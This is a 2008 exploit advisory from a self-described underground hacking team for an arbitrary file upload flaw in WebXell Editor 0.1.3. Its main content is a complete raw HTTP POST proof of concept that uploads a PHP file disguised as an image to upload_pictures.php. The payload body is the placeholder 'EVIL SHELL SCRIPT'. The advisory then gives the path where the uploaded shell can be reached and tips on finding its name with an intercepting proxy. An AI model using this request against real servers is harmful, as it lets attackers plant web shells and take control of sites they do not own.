=========================================================================== WebXell Editor (upload_pictures.php) Arbitrary File Upload Vulnerability =========================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 7 July 2008 SITE : cwh.citec.us ##################################################### APPLICATION : WebXell Editor VERSION : 0.1.3 VENDOR : N/A DOWNLOAD : http://downloads.sourceforge.net/webxelleditor/webXell-0.1.3.zip ##################################################### --- Arbitrary File Upload --- This Vulnerability can upload malicious files direct to web server. Use Web proxy (Webscarab,etc..) to intercept data. [+] Upload Path: http://[Target]/[webxell_path]/upload_pictures.php [-] POC Exploit: POST http://192.168.24.25/webxell/upload_pictures.php HTTP/1.1 Host: 192.168.24.25 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://192.168.24.25/webxell/index.php?file=test.xml Cookie: storyread[1]=1; PHPSESSID=a663694e586aba414a1b9fb79917891f Content-Type: multipart/form-data; boundary=---------------------------278151583918669 Content-length: 241 -----------------------------278151583918669 Content-Disposition: form-data; name="updFile"; filename="phpbug.php" Content-Type: img/jpeg <?php EVIL SHELL SCRIPT ?> -----------------------------278151583918669-- [+] Shell Script: ***You can intercept file's name with Web proxy that tell the real name*** [-] Position: http://[target]/[webxell_path]/upload/[Evil_File] ################################################################## Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos ##################################################################